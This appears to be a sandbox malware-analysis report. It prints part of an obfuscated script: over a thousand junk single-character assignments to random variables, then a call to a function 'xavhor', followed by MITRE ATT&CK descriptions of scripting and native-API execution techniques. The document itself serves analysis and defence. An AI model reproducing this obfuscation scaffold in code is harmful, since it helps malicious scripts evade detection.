394	wzxjdnlx = "r";
395	wzxjdnlx = "D";
396	wzxjdnlx = "a";
397	wzxjdnlx = "n";
398	wzxjdnlx = "q";
399	wzxjdnlx = "c";
400	wzxjdnlx = "u";
401	wzxjdnlx = "T";
402	wzxjdnlx = "z";
403	wzxjdnlx = "H";
404	wzxjdnlx = "t";
405	wzxjdnlx = "l";
406	wzxjdnlx = "_";
407	pfbjfluz = "M";
408	pfbjfluz = "U";
409	pfbjfluz = "k";
410	pfbjfluz = "O";
411	pfbjfluz = "d";
412	pfbjfluz = "A";
413	pfbjfluz = "L";
414	pfbjfluz = "T";
415	pfbjfluz = "Y";
416	pfbjfluz = "M";
417	pfbjfluz = "l";
418	pfbjfluz = "c";
419	pfbjfluz = "H";
420	pfbjfluz = "e";
421	pfbjfluz = "m";
422	pfbjfluz = "q";
423	pfbjfluz = "I";
424	pfbjfluz = "J";
425	pfbjfluz = "U";
426	pfbjfluz = "S";
427	pfbjfluz = "b";
428	pfbjfluz = "T";
429	pfbjfluz = "h";
430	pfbjfluz = "f";
431	pfbjfluz = "X";
432	pfbjfluz = "F";
433	pfbjfluz = "s";
434	pfbjfluz = "P";
435	pfbjfluz = "W";
436	pfbjfluz = "L";
437	pfbjfluz = "d";
438	pfbjfluz = "J";
439	pfbjfluz = "H";
440	pfbjfluz = "z";
441	pfbjfluz = "Q";
442	pfbjfluz = "P";
443	pfbjfluz = "H";
444	pfbjfluz = "A";
445	pfbjfluz = "b";
446	pfbjfluz = "w";
447	pfbjfluz = "T";
448	pfbjfluz = "U";
449	pfbjfluz = "4";
450	euocf = "Q";
451	euocf = "H";
452	euocf = "t";
453	euocf = "p";
454	euocf = "d";
455	euocf = "P";
456	euocf = "O";
457	euocf = "r";
458	euocf = "V";
459	euocf = "G";
460	euocf = "R";
461	euocf = "Q";
462	euocf = "U";
463	euocf = "A";
464	euocf = "U";
465	euocf = "Q";
466	euocf = "7";
467	efgajus = "P";
468	efgajus = "C";
469	efgajus = "I";
470	efgajus = "f";
471	efgajus = "S";
472	efgajus = "f";
473	efgajus = "s";
474	efgajus = "I";
475	efgajus = "p";
476	efgajus = "l";
477	efgajus = "R";
478	efgajus = "k";
479	efgajus = "Q";
480	efgajus = "T";
481	efgajus = "R";
482	efgajus = "A";
483	efgajus = "A";
484	efgajus = "m";
485	efgajus = "j";
486	efgajus = "u";
487	efgajus = "N";
488	efgajus = "s";
489	efgajus = "-";
490	jvzuxmq = "g";
491	jvzuxmq = "H";
492	jvzuxmq = "D";
493	jvzuxmq = "U";
494	jvzuxmq = "s";
495	jvzuxmq = "Q";
496	jvzuxmq = "x";
497	jvzuxmq = "V";
498	jvzuxmq = "k";
499	jvzuxmq = "W";
500	jvzuxmq = "a";
501	jvzuxmq = "v";
502	jvzuxmq = "E";
503	jvzuxmq = "C";
504	jvzuxmq = "j";
505	jvzuxmq = "q";
506	jvzuxmq = "V";
507	jvzuxmq = "W";
508	jvzuxmq = "U";
509	jvzuxmq = "S";
510	jvzuxmq = "b";
511	jvzuxmq = "i";
512	jvzuxmq = "Z";
513	jvzuxmq = "u";
514	jvzuxmq = "q";
515	jvzuxmq = "h";
516	jvzuxmq = "c";
517	jvzuxmq = "w";
518	jvzuxmq = "x";
519	jvzuxmq = "y";
520	jvzuxmq = "k";
521	jvzuxmq = "f";
522	nsdmaa = "x";
523	nsdmaa = "y";
524	nsdmaa = "Y";
525	nsdmaa = "Y";
526	nsdmaa = "b";
527	nsdmaa = "g";
528	nsdmaa = "L";
529	nsdmaa = "o";
530	nsdmaa = "h";
531	nsdmaa = "J";
532	nsdmaa = "J";
533	nsdmaa = "s";
534	nsdmaa = "z";
535	nsdmaa = "S";
536	nsdmaa = "A";
537	nsdmaa = "m";
538	nsdmaa = "O";
539	nsdmaa = "b";
540	nsdmaa = "n";
541	nsdmaa = "w";
542	nsdmaa = "Q";
543	nsdmaa = "g";
544	nsdmaa = "M";
545	nsdmaa = "H";
546	nsdmaa = "f";
547	nsdmaa = "L";
548	nsdmaa = "X";
549	nsdmaa = "o";
550	nsdmaa = "p";
551	nsdmaa = "y";
552	nsdmaa = "8";
553	foswycmq = "P";
554	foswycmq = "o";
555	foswycmq = "U";
556	foswycmq = "S";
557	foswycmq = "w";
558	foswycmq = "x";
559	foswycmq = "D";
560	foswycmq = "d";
561	foswycmq = "R";
562	foswycmq = "G";
563	foswycmq = "h";
564	foswycmq = "X";
565	foswycmq = "r";
566	foswycmq = "J";
567	foswycmq = "M";
568	foswycmq = "R";
569	foswycmq = "u";
570	foswycmq = "E";
571	foswycmq = "q";
572	foswycmq = "u";
573	foswycmq = "u";
574	foswycmq = "E";
575	foswycmq = "R";
576	foswycmq = "E";
577	foswycmq = "m";
578	foswycmq = "q";
579	foswycmq = "T";
580	foswycmq = "K";
581	foswycmq = "D";
582	foswycmq = "A";
583	foswycmq = "s";
584	foswycmq = "X";
585	foswycmq = "l";
586	foswycmq = "W";
587	foswycmq = "d";
588	foswycmq = "v";
589	foswycmq = "Y";
590	foswycmq = "T";
591	ckbdkeo = "L";
592	ckbdkeo = "q";
593	ckbdkeo = "l";
594	ckbdkeo = "Y";
595	ckbdkeo = "l";
596	ckbdkeo = "a";
597	ckbdkeo = "S";
598	ckbdkeo = "r";
599	bjwge = "f";
600	bjwge = "W";
601	bjwge = "t";
602	bjwge = "k";
603	bjwge = "a";
604	bjwge = "y";
605	bjwge = "S";
606	bjwge = "M";
607	bjwge = "E";
608	bjwge = "W";
609	bjwge = "C";
610	bjwge = "L";
611	bjwge = "F";
612	bjwge = "O";
613	bjwge = "u";
614	bjwge = "I";
615	bjwge = "w";
616	bjwge = "u";
617	bjwge = "j";
618	bjwge = "l";
619	bjwge = "S";
620	bjwge = "v";
621	bjwge = "N";
622	bjwge = "e";
623	bjwge = "D";
624	bjwge = "y";
625	bjwge = "N";
626	bjwge = "E";
627	bjwge = "R";
628	bjwge = "N";
629	nouedaya = "J";
630	nouedaya = "j";
631	nouedaya = "T";
632	nouedaya = "v";
633	nouedaya = "b";
634	nouedaya = "/";
635	zqcmxs = "h";
636	zqcmxs = "l";
637	zqcmxs = "y";
638	zqcmxs = "b";
639	zqcmxs = "W";
640	zqcmxs = "k";
641	zqcmxs = "s";
642	zqcmxs = "Z";
643	zqcmxs = "m";
644	zqcmxs = "j";
645	zqcmxs = "X";
646	zqcmxs = "I";
647	zqcmxs = "D";
648	zqcmxs = "i";
649	zqcmxs = "X";
650	zqcmxs = "A";
651	zqcmxs = "u";
652	zqcmxs = "R";
653	zqcmxs = "i";
654	zqcmxs = "Y";
655	zqcmxs = "X";
656	zqcmxs = "c";
657	zqcmxs = "h";
658	zqcmxs = "u";
659	zqcmxs = "b";
660	zqcmxs = "p";
661	zqcmxs = "S";
662	zqcmxs = "U";
663	zqcmxs = "Y";
664	zqcmxs = "J";
665	zqcmxs = "g";
666	zqcmxs = "l";
667	zqcmxs = "O";
668	cumssa = "O";
669	cumssa = "h";
670	cumssa = "I";
671	cumssa = "D";
672	cumssa = "u";
673	cumssa = "e";
674	cumssa = "V";
675	cumssa = "d";
676	cumssa = "b";
677	afkkz = "I";
678	afkkz = "j";
679	afkkz = "D";
680	afkkz = "g";
681	afkkz = "S";
682	afkkz = "k";
683	afkkz = "h";
684	afkkz = "H";
685	afkkz = "f";
686	afkkz = "x";
687	afkkz = "z";
688	afkkz = "X";
689	afkkz = "e";
690	afkkz = "o";
691	afkkz = "S";
692	afkkz = "W";
693	afkkz = "z";
694	afkkz = "w";
695	afkkz = "h";
696	afkkz = "e";
697	afkkz = "C";
698	afkkz = "F";
699	afkkz = "d";
700	afkkz = "h";
701	afkkz = "e";
702	afkkz = "t";
703	eqexh = "Z";
704	eqexh = "d";
705	eqexh = "I";
706	eqexh = "O";
707	eqexh = "C";
708	eqexh = "B";
709	eqexh = "j";
710	eqexh = "D";
711	eqexh = "v";
712	eqexh = "w";
713	eqexh = "g";
714	eqexh = "x";
715	eqexh = "m";
716	eqexh = "S";
717	eqexh = "U";
718	eqexh = "C";
719	eqexh = "n";
720	eqexh = "s";
721	eqexh = "T";
722	eqexh = "z";
723	eqexh = "Q";
724	eqexh = "V";
725	eqexh = "s";
726	eqexh = "P";
727	eqexh = "b";
728	eqexh = "K";
729	eqexh = "u";
730	eqexh = "x";
731	eqexh = "m";
732	eqexh = "N";
733	eqexh = "f";
734	eqexh = "C";
735	eqexh = "J";
736	eqexh = "x";
737	eqexh = "d";
738	eqexh = "y";
739	eqexh = "F";
740	eqexh = "m";
741	eqexh = "L";
742	eqexh = "O";
743	eqexh = "P";
744	eqexh = "E";
745	eqexh = "p";
746	eqexh = "9";
747	cpixvom = "g";
748	cpixvom = "b";
749	cpixvom = "o";
750	cpixvom = "e";
751	cpixvom = "S";
752	tjqjuiit = "h";
753	tjqjuiit = "Z";
754	tjqjuiit = "M";
755	tjqjuiit = "E";
756	tjqjuiit = "O";
757	tjqjuiit = "p";
758	tjqjuiit = "K";
759	tjqjuiit = "P";
760	tjqjuiit = "l";
761	tjqjuiit = "p";
762	tjqjuiit = "L";
763	tjqjuiit = "D";
764	tjqjuiit = "z";
765	tjqjuiit = "u";
766	tjqjuiit = "G";
767	tjqjuiit = "Y";
768	tjqjuiit = "R";
769	tjqjuiit = ".";
770	usvwxg = "P";
771	usvwxg = "B";
772	usvwxg = "b";
773	usvwxg = "i";
774	usvwxg = "u";
775	usvwxg = "s";
776	usvwxg = "w";
777	usvwxg = "U";
778	usvwxg = "C";
779	usvwxg = "i";
780	usvwxg = "e";
781	usvwxg = "s";
782	usvwxg = "E";
783	usvwxg = "D";
784	usvwxg = "W";
785	usvwxg = "t";
786	usvwxg = "d";
787	usvwxg = "g";
788	usvwxg = "c";
789	usvwxg = "g";
790	usvwxg = "n";
791	usvwxg = "Z";
792	usvwxg = "r";
793	usvwxg = "e";
794	usvwxg = "I";
795	usvwxg = "C";
796	usvwxg = "Z";
797	usvwxg = "y";
798	usvwxg = "A";
799	usvwxg = "g";
800	usvwxg = "r";
801	usvwxg = "Z";
802	usvwxg = "G";
803	usvwxg = "i";
804	usvwxg = "k";
805	edsnz = "Y";
806	edsnz = "D";
807	edsnz = "N";
808	edsnz = "N";
809	edsnz = "w";
810	edsnz = "N";
811	edsnz = "V";
812	edsnz = "F";
813	edsnz = "l";
814	edsnz = "N";
815	edsnz = "f";
816	edsnz = "T";
817	edsnz = "i";
818	edsnz = "a";
819	edsnz = "H";
820	edsnz = "l";
821	edsnz = "U";
822	edsnz = "v";
823	edsnz = "v";
824	edsnz = "s";
825	edsnz = "Z";
826	edsnz = "V";
827	edsnz = "z";
828	edsnz = "F";
829	edsnz = "m";
830	edsnz = "G";
831	edsnz = "b";
832	edsnz = "M";
833	edsnz = "y";
834	edsnz = "P";
835	edsnz = "A";
836	edsnz = "m";
837	edsnz = "N";
838	edsnz = "C";
839	edsnz = "P";
840	edsnz = "X";
841	edsnz = "L";
842	edsnz = "p";
843	edsnz = "h";
844	edsnz = "g";
845	edsnz = "s";
846	edsnz = "z";
847	edsnz = "a";
848	nibjiajcx = "S";
849	nibjiajcx = "R";
850	nibjiajcx = "v";
851	nibjiajcx = "w";
852	nibjiajcx = "I";
853	nibjiajcx = "U";
854	nibjiajcx = "S";
855	nibjiajcx = "G";
856	nibjiajcx = "A";
857	nibjiajcx = "W";
858	nibjiajcx = "x";
859	nibjiajcx = "m";
860	nibjiajcx = "H";
861	nibjiajcx = "K";
862	nibjiajcx = "r";
863	nibjiajcx = "3";
864	bcyfqvl = "Q";
865	bcyfqvl = "j";
866	bcyfqvl = "x";
867	bcyfqvl = "a";
868	bcyfqvl = "6";
869	juggga = "F";
870	juggga = "w";
871	juggga = "R";
872	juggga = "k";
873	juggga = "C";
874	juggga = "b";
875	juggga = "f";
876	juggga = "n";
877	juggga = "B";
878	juggga = "s";
879	juggga = "e";
880	juggga = "k";
881	juggga = "L";
882	juggga = "n";
883	juggga = "R";
884	juggga = "c";
885	juggga = "C";
886	juggga = "e";
887	juggga = "e";
888	juggga = "M";
889	juggga = "H";
890	juggga = "b";
891	juggga = "x";
892	juggga = "Q";
893	juggga = "G";
894	juggga = "o";
895	juggga = "\\";
896	aabojyuv = "b";
897	aabojyuv = "y";
898	aabojyuv = "B";
899	aabojyuv = "u";
900	aabojyuv = "y";
901	aabojyuv = "j";
902	aabojyuv = "k";
903	aabojyuv = "Q";
904	aabojyuv = "k";
905	aabojyuv = "G";
906	aabojyuv = "h";
907	aabojyuv = "Q";
908	aabojyuv = "l";
909	aabojyuv = "c";
910	aabojyuv = "v";
911	aabojyuv = "R";
912	aabojyuv = "F";
913	aabojyuv = "z";
914	aabojyuv = "o";
915	aabojyuv = "F";
916	aabojyuv = "h";
917	aabojyuv = "l";
918	wotejknu = "t";
919	wotejknu = "P";
920	wotejknu = "c";
921	wotejknu = "T";
922	wotejknu = "V";
923	wotejknu = "Q";
924	wotejknu = "P";
925	wotejknu = "H";
926	wotejknu = "p";
927	jqmmxh = "y";
928	jqmmxh = "H";
929	jqmmxh = "T";
930	jqmmxh = "E";
931	jqmmxh = "O";
932	jqmmxh = "Q";
933	jqmmxh = "a";
934	jqmmxh = "w";
935	jqmmxh = "R";
936	jqmmxh = "Z";
937	jqmmxh = "m";
938	jqmmxh = "s";
939	jqmmxh = "n";
940	jqmmxh = "n";
941	jqmmxh = "x";
942	jqmmxh = "M";
943	jqmmxh = "M";
944	jqmmxh = "Y";
945	jqmmxh = "y";
946	jqmmxh = "F";
947	gjhwfqh = "x";
948	gjhwfqh = "F";
949	gjhwfqh = "Z";
950	gjhwfqh = "T";
951	gjhwfqh = "f";
952	gjhwfqh = "M";
953	gjhwfqh = "Z";
954	gjhwfqh = "s";
955	gjhwfqh = "q";
956	gjhwfqh = "b";
957	gjhwfqh = "u";
958	gjhwfqh = "M";
959	gjhwfqh = "j";
960	gjhwfqh = "N";
961	gjhwfqh = "0";
962	ouqjqbwye = "J";
963	ouqjqbwye = "J";
964	ouqjqbwye = "X";
965	ouqjqbwye = "W";
966	ouqjqbwye = "b";
967	ouqjqbwye = "u";
968	ouqjqbwye = "w";
969	ouqjqbwye = "q";
970	ouqjqbwye = "x";
971	ouqjqbwye = "w";
972	ouqjqbwye = "N";
973	ouqjqbwye = "E";
974	ouqjqbwye = "K";
975	ouqjqbwye = "M";
976	ouqjqbwye = "u";
977	ouqjqbwye = "g";
978	ouqjqbwye = "L";
979	ouqjqbwye = "q";
980	ouqjqbwye = "W";
981	ouqjqbwye = "r";
982	ouqjqbwye = "N";
983	ouqjqbwye = "R";
984	ggjzsr = "X";
985	ggjzsr = "J";
986	ggjzsr = "p";
987	ggjzsr = "z";
988	ggjzsr = "o";
989	ggjzsr = "E";
990	ggjzsr = "R";
991	ggjzsr = "N";
992	ggjzsr = "T";
993	ggjzsr = "L";
994	ggjzsr = "m";
995	ggjzsr = "Q";
996	ggjzsr = "B";
997	ggjzsr = "k";
998	ggjzsr = "N";
999	ggjzsr = "c";
1000	ggjzsr = "u";
1001	ggjzsr = "i";
1002	ggjzsr = "J";
1003	ggjzsr = "K";
1004	ggjzsr = "I";
1005	ggjzsr = "Y";
1006	ggjzsr = "Q";
1007	ggjzsr = "I";
1008	ggjzsr = "O";
1009	ggjzsr = "C";
1010	ggjzsr = "P";
1011	ggjzsr = "i";
1012	ggjzsr = "&";
1013	lqtodc = "g";
1014	lqtodc = "Y";
1015	lqtodc = "c";
1016	lqtodc = "F";
1017	lqtodc = "u";
1018	lqtodc = "s";
1019	lqtodc = "z";
1020	lqtodc = "x";
1021	lqtodc = "y";
1022	lqtodc = "O";
1023	lqtodc = "h";
1024	lqtodc = "N";
1025	lqtodc = "L";
1026	lqtodc = "o";
1027	lqtodc = "f";
1028	lqtodc = "G";
1029	lqtodc = "w";
1030	lqtodc = "L";
1031	lqtodc = "L";
1032	lqtodc = "q";
1033	lqtodc = "O";
1034	lqtodc = "t";
1035	lqtodc = "o";
1036	lqtodc = "W";
1037	bihmukf = "l";
1038	bihmukf = "n";
1039	bihmukf = "L";
1040	bihmukf = "L";
1041	bihmukf = "z";
1042	bihmukf = "U";
1043	bihmukf = "y";
1044	bihmukf = "W";
1045	bihmukf = "u";
1046	bihmukf = "x";
1047	bihmukf = "E";
1048	bihmukf = "Y";
1049	bihmukf = "Y";
1050	bihmukf = "c";
1051	bihmukf = "a";
1052	bihmukf = "G";
1053	bihmukf = "Y";
1054	bihmukf = "z";
1055	bihmukf = "P";
1056	bihmukf = "B";
1057	bihmukf = "a";
1058	bihmukf = "e";
1059	bihmukf = "x";
1060	bihmukf = "s";
1061	bihmukf = "E";
1062	bihmukf = "Z";
1063	bihmukf = "X";
1064	bihmukf = "y";
1065	bihmukf = "b";
1066	bihmukf = "C";
1067	bihmukf = "w";
1068	bihmukf = "T";
1069	bihmukf = "y";
1070	bihmukf = "o";
1071	bihmukf = "u";
1072	bihmukf = "e";
1073	bihmukf = "n";
1074	bihmukf = "r";
1075	bihmukf = "h";
1076	bihmukf = "U";
1077	bihmukf = "Q";
1078	bihmukf = "y";
1079	bihmukf = "f";
1080	bihmukf = "w";
1081	bihmukf = "u";
1082	uplpr = "Q";
1083	uplpr = "O";
1084	uplpr = "B";
1085	uplpr = "T";
1086	uplpr = "n";
1087	uplpr = "t";
1088	uplpr = "G";
1089	uplpr = "a";
1090	uplpr = "l";
1091	uplpr = "R";
1092	uplpr = "c";
1093	uplpr = "r";
1094	uplpr = "G";
1095	uplpr = "o";
1096	uplpr = "i";
1097	uplpr = "z";
1098	uplpr = "j";
1099	ccihyte = "P";
1100	ccihyte = "Q";
1101	ccihyte = "d";
1102	ccihyte = "Q";
1103	ccihyte = "M";
1104	ccihyte = "I";
1105	ccihyte = "Z";
1106	ccihyte = "L";
1107	ccihyte = "B";
1108	ccihyte = "w";
1109	ccihyte = "j";
1110	ccihyte = "c";
1111	ccihyte = "t";
1112	ccihyte = "q";
1113	ccihyte = "L";
1114	ccihyte = "c";
1115	ccihyte = "G";
1116	ccihyte = "h";
1117	ccihyte = "j";
1118	ccihyte = "Q";
1119	ccihyte = "L";
1120	ktrvqyrti = "P";
1121	ktrvqyrti = "P";
1122	ktrvqyrti = "U";
1123	ktrvqyrti = "B";
1124	ktrvqyrti = "m";
1125	atmwa = "h";
1126	atmwa = "d";
1127	atmwa = "Z";
1128	atmwa = "G";
1129	atmwa = "t";
1130	atmwa = "U";
1131	atmwa = "b";
1132	atmwa = "c";
1133	atmwa = "U";
1134	atmwa = "i";
1135	atmwa = "Y";
1136	atmwa = "F";
1137	atmwa = "T";
1138	atmwa = "k";
1139	atmwa = "O";
1140	atmwa = "m";
1141	atmwa = " ";
1142	nehvrqpo = "m";
1143	nehvrqpo = "G";
1144	nehvrqpo = "D";
1145	nehvrqpo = "n";
1146	nehvrqpo = "P";
1147	nehvrqpo = "Q";
1148	nehvrqpo = "z";
1149	nehvrqpo = "H";
1150	nehvrqpo = "V";
1151	nehvrqpo = "o";
1152	nehvrqpo = "Q";
1153	nehvrqpo = "I";
1154	nehvrqpo = "N";
1155	nehvrqpo = "U";
1156	nehvrqpo = "e";
1157	nehvrqpo = "j";
1158	nehvrqpo = "O";
1159	nehvrqpo = "x";
1160	nehvrqpo = "N";
1161	nehvrqpo = "S";
1162	nehvrqpo = "B";
1163	nehvrqpo = "y";
1164	nehvrqpo = "o";
1165	nehvrqpo = "h";
1166	nehvrqpo = "d";
1167	nehvrqpo = "y";
1168	nehvrqpo = "N";
1169	nehvrqpo = "v";
1170	nehvrqpo = "C";
1171	nehvrqpo = "t";
1172	nehvrqpo = "U";
1173	nehvrqpo = "A";
1174	nehvrqpo = "N";
1175	nehvrqpo = "W";
1176	nehvrqpo = "w";
1177	nehvrqpo = "A";
1178	nehvrqpo = "F";
1179	nehvrqpo = "D";
1180	nehvrqpo = "p";
1181	nehvrqpo = "P";
1182	thfqnokc = "X";
1183	thfqnokc = "u";
1184	thfqnokc = "R";
1185	thfqnokc = "h";
1186	thfqnokc = "C";
1187	thfqnokc = "Z";
1188	thfqnokc = "o";
1189	oovir = "I";
1190	vcdawfytf = "P";
1191	vcdawfytf = "H";
1192	vcdawfytf = "Q";
1193	vcdawfytf = "d";
1194	vcdawfytf = "p";
1195	vcdawfytf = "Y";
1196	vcdawfytf = "h";
1197	vcdawfytf = "u";
1198	vcdawfytf = "b";
1199	vcdawfytf = "O";
1200	vcdawfytf = "Y";
1201	vcdawfytf = "U";
1202	vcdawfytf = "L";
1203	vcdawfytf = "j";
1204	vcdawfytf = "x";
1205	vcdawfytf = "r";
1206	vcdawfytf = "s";
1207	vcdawfytf = "C";
1208	vcdawfytf = "V";
1209	vcdawfytf = "F";
1210	vcdawfytf = "n";
1211	vcdawfytf = "t";
1212	vcdawfytf = "B";
1213	vcdawfytf = "g";
1214	vcdawfytf = "U";
1215	vcdawfytf = "t";
1216	vcdawfytf = "r";
1217	vcdawfytf = "t";
1218	vcdawfytf = "D";
1219	vcdawfytf = "p";
1220	vcdawfytf = "Z";
1221	vcdawfytf = "K";
1222	vcdawfytf = "j";
1223	vcdawfytf = "J";
1224	vcdawfytf = "D";
1225	vcdawfytf = "d";
1226	vcdawfytf = "T";
1227	vcdawfytf = "v";
1228	vcdawfytf = "i";
1229	vcdawfytf = "F";
1230	vcdawfytf = "q";
1231	vcdawfytf = "h";
1232	vsbtfngzn = "T";
1233	vsbtfngzn = "p";
1234	vsbtfngzn = "P";
1235	vsbtfngzn = "h";
1236	vsbtfngzn = "H";
1237	vsbtfngzn = "T";
1238	vsbtfngzn = "j";
1239	vsbtfngzn = "J";
1240	vsbtfngzn = "W";
1241	vsbtfngzn = "B";
1242	vsbtfngzn = "f";
1243	vsbtfngzn = "a";
1244	vsbtfngzn = "B";
1245	vsbtfngzn = "J";
1246	vsbtfngzn = "B";
1247	vsbtfngzn = "X";
1248	vsbtfngzn = "W";
1249	vsbtfngzn = "J";
1250	vsbtfngzn = "L";
1251	vsbtfngzn = "b";
1252	vsbtfngzn = "B";
1253	vsbtfngzn = "K";
1254	vsbtfngzn = "I";
1255	vsbtfngzn = "A";
1256	vsbtfngzn = "h";
1257	vsbtfngzn = "U";
1258	vsbtfngzn = "K";
1259	vsbtfngzn = "T";
1260	vsbtfngzn = "W";
1261	vsbtfngzn = "q";
1262	vsbtfngzn = "s";
1263	ahdkvvppd = "N";
1264	ahdkvvppd = "G";
1265	ahdkvvppd = "v";
1266	ahdkvvppd = "Y";
1267	ahdkvvppd = "I";
1268	ahdkvvppd = "Q";
1269	ahdkvvppd = "N";
1270	ahdkvvppd = "G";
1271	ahdkvvppd = "u";
1272	ahdkvvppd = "Y";
1273	ahdkvvppd = "a";
1274	ahdkvvppd = "C";
1275	ahdkvvppd = "e";
1276	ahdkvvppd = "c";
1277	ahdkvvppd = "s";
1278	ahdkvvppd = "y";
1279	ahdkvvppd = "K";
1280	xneicrp = "I";
1281	xneicrp = "i";
1282	xneicrp = "m";
1283	xneicrp = "C";
1284	xneicrp = "i";
1285	xneicrp = "w";
1286	xneicrp = "r";
1287	xneicrp = "z";
1288	xneicrp = "Y";
1289	xneicrp = "s";
1290	xneicrp = "u";
1291	xneicrp = "K";
1292	xneicrp = "s";
1293	xneicrp = "w";
1294	xneicrp = "n";
1295	xneicrp = "U";
1296	xneicrp = "v";
1297	xneicrp = "p";
1298	xneicrp = "I";
1299	xneicrp = "%";
1300	ofgzgsv = "Y";
1301	ofgzgsv = "j";
1302	ofgzgsv = "g";
1303	ofgzgsv = "P";
1304	ofgzgsv = "g";
1305	ofgzgsv = "C";
1306	ofgzgsv = "k";
1307	ofgzgsv = "I";
1308	ofgzgsv = "e";
1309	ofgzgsv = "L";
1310	ofgzgsv = "j";
1311	ofgzgsv = "V";
1312	ofgzgsv = ":";
1313	pcmiat = "Y";
1314	pcmiat = "R";
1315	pcmiat = "V";
1316	pcmiat = "M";
1317	pcmiat = "c";
1318	pcmiat = "w";
1319	pcmiat = "R";
1320	pcmiat = "A";
1321	pcmiat = "j";
1322	pcmiat = "r";
1323	pcmiat = "i";
1324	pcmiat = "K";
1325	pcmiat = "V";
1326	pcmiat = "x";
1327	pcmiat = "m";
1328	pcmiat = "k";
1329	pcmiat = "t";
1330	pcmiat = "J";
1331	pcmiat = "D";
1332	pcmiat = "T";
1333	pcmiat = "f";
1334	pcmiat = "v";
1335	pcmiat = "B";
1336	pcmiat = "l";
1337	pcmiat = "I";
1338	pcmiat = "F";
1339	pcmiat = "k";
1340	pcmiat = "b";
1341	pcmiat = "M";
1342	pcmiat = "M";
1343	pcmiat = "i";
1344	eofjgx = "j";
1345	eofjgx = "x";
1346	eofjgx = "H";
1347	eofjgx = "b";
1348	eofjgx = "c";
1349	eofjgx = "R";
1350	eofjgx = "R";
1351	eofjgx = "r";
1352	eofjgx = "z";
1353	eofjgx = "k";
1354	eofjgx = "c";
1355	eofjgx = "n";
1356	eofjgx = "w";
1357	eofjgx = "d";
1358	eofjgx = "c";
1359	eofjgx = "Q";
1360	eofjgx = "S";
1361	eofjgx = "j";
1362	eofjgx = "U";
1363	eofjgx = "o";
1364	eofjgx = "e";
1365	hwfatc = "D";
1366	hwfatc = "R";
1367	hwfatc = "J";
1368	hwfatc = "p";
1369	hwfatc = "t";
1370	hwfatc = "N";
1371	hwfatc = "R";
1372	hwfatc = "P";
1373	hwfatc = "Q";
1374	hwfatc = "y";
1375	hwfatc = "V";
1376	hwfatc = "n";
1377	hwfatc = "w";
1378	hwfatc = "X";
1379	hwfatc = "B";
1380	hwfatc = "u";
1381	hwfatc = "F";
1382	hwfatc = "o";
1383	hwfatc = "p";
1384	hwfatc = "d";
1385	hwfatc = "p";
1386	hwfatc = "W";
1387	hwfatc = "k";
1388	hwfatc = "B";
1389	hwfatc = "F";
1390	hwfatc = "q";
1391	hwfatc = "u";
1392	hwfatc = "B";
1393	hwfatc = "m";
1394	hwfatc = "a";
1395	hwfatc = "s";
1396	hwfatc = "U";
1397	hwfatc = "k";
1398	hwfatc = "y";
1399	hwfatc = "J";
1400	hwfatc = "t";
1401	hwfatc = "t";
1402	hwfatc = "J";
1403	hwfatc = "J";
1404	hwfatc = "S";
1405	hwfatc = "o";
1406	hwfatc = "l";
1407	hwfatc = "S";
1408	hwfatc = "@";
1409	zmnnmuj = "B";
1410	zmnnmuj = "Y";
1411	zmnnmuj = "m";
1412	zmnnmuj = "A";
1413	zmnnmuj = "L";
1414	zmnnmuj = "a";
1415	zmnnmuj = "Y";
1416	zmnnmuj = "c";
1417	zmnnmuj = "y";
1418	zmnnmuj = "p";
1419	zmnnmuj = "E";
1420	zmnnmuj = "g";
1421	zmnnmuj = "v";
1422	zmnnmuj = "d";
1423	zmnnmuj = "Y";
1424	zmnnmuj = "s";
1425	zmnnmuj = "b";
1426	zmnnmuj = "e";
1427	zmnnmuj = "C";
1428	zmnnmuj = "E";
1429	zmnnmuj = "q";
1430	zmnnmuj = "w";
1431	zmnnmuj = "a";
1432	zmnnmuj = "e";
1433	zmnnmuj = "u";
1434	zmnnmuj = "d";
1435	zmnnmuj = "q";
1436	zmnnmuj = "k";
1437	zmnnmuj = "N";
1438	zmnnmuj = "q";
1439	zmnnmuj = "J";
1440	zmnnmuj = "Q";
1441	lggvvhpt = "g";
1442	axqssgtj = "c";
1443	axqssgtj = "j";
1444	axqssgtj = "X";
1445	axqssgtj = "G";
1446	axqssgtj = "l";
1447	axqssgtj = "T";
1448	axqssgtj = "o";
1449	axqssgtj = "l";
1450	axqssgtj = "K";
1451	axqssgtj = "m";
1452	axqssgtj = "i";
1453	axqssgtj = "A";
1454	axqssgtj = "c";
1455	axqssgtj = "g";
1456	axqssgtj = "J";
1457	axqssgtj = "t";
1458	axqssgtj = "C";
1459	axqssgtj = "B";
1460	axqssgtj = "O";
1461	axqssgtj = "O";
1462	axqssgtj = "k";
1463	axqssgtj = "a";
1464	axqssgtj = "K";
1465	axqssgtj = "o";
1466	axqssgtj = "a";
1467	axqssgtj = "E";
1468	axqssgtj = "K";
1469	axqssgtj = "W";
1470	axqssgtj = "u";
1471	axqssgtj = "q";
1472	axqssgtj = "n";
1473	axqssgtj = "h";
1474	axqssgtj = "n";
1475	axqssgtj = "P";
1476	axqssgtj = "a";
1477	axqssgtj = "o";
1478	axqssgtj = "i";
1479	axqssgtj = "R";
1480	axqssgtj = "v";
1481	axqssgtj = "n";
1482	axqssgtj = "q";
1483	axqssgtj = "x";
1484	xavhor ( );	xavhor() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

